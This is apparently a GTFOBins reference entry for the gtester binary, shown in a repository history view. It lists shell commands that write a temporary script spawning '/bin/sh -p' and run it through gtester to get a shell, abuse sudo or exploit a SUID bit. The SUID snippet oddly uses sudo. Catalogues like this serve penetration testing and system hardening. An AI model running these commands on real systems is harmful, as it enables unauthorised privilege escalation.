GTFOBins.github.io/_gtfobins/gtester.md

25 lines
513 B
Markdown
Raw Normal View History

2020-03-17 20:32:25 +01:00
---
functions:
shell:
2020-03-17 20:32:25 +01:00
- code: |
TF=$(mktemp)
echo '#!/bin/sh' > $TF
echo 'exec /bin/sh -p 0<&1' >> $TF
2020-03-17 20:32:25 +01:00
chmod +x $TF
gtester -q $TF
sudo:
- code: |
TF=$(mktemp)
echo '#!/bin/sh' > $TF
echo 'exec /bin/sh 0<&1' >> $TF
chmod +x $TF
sudo gtester -q $TF
suid:
- code: |
TF=$(mktemp)
echo '#!/bin/sh -p' > $TF
echo 'exec /bin/sh -p 0<&1' >> $TF
2020-03-17 20:32:25 +01:00
chmod +x $TF
sudo gtester -q $TF
---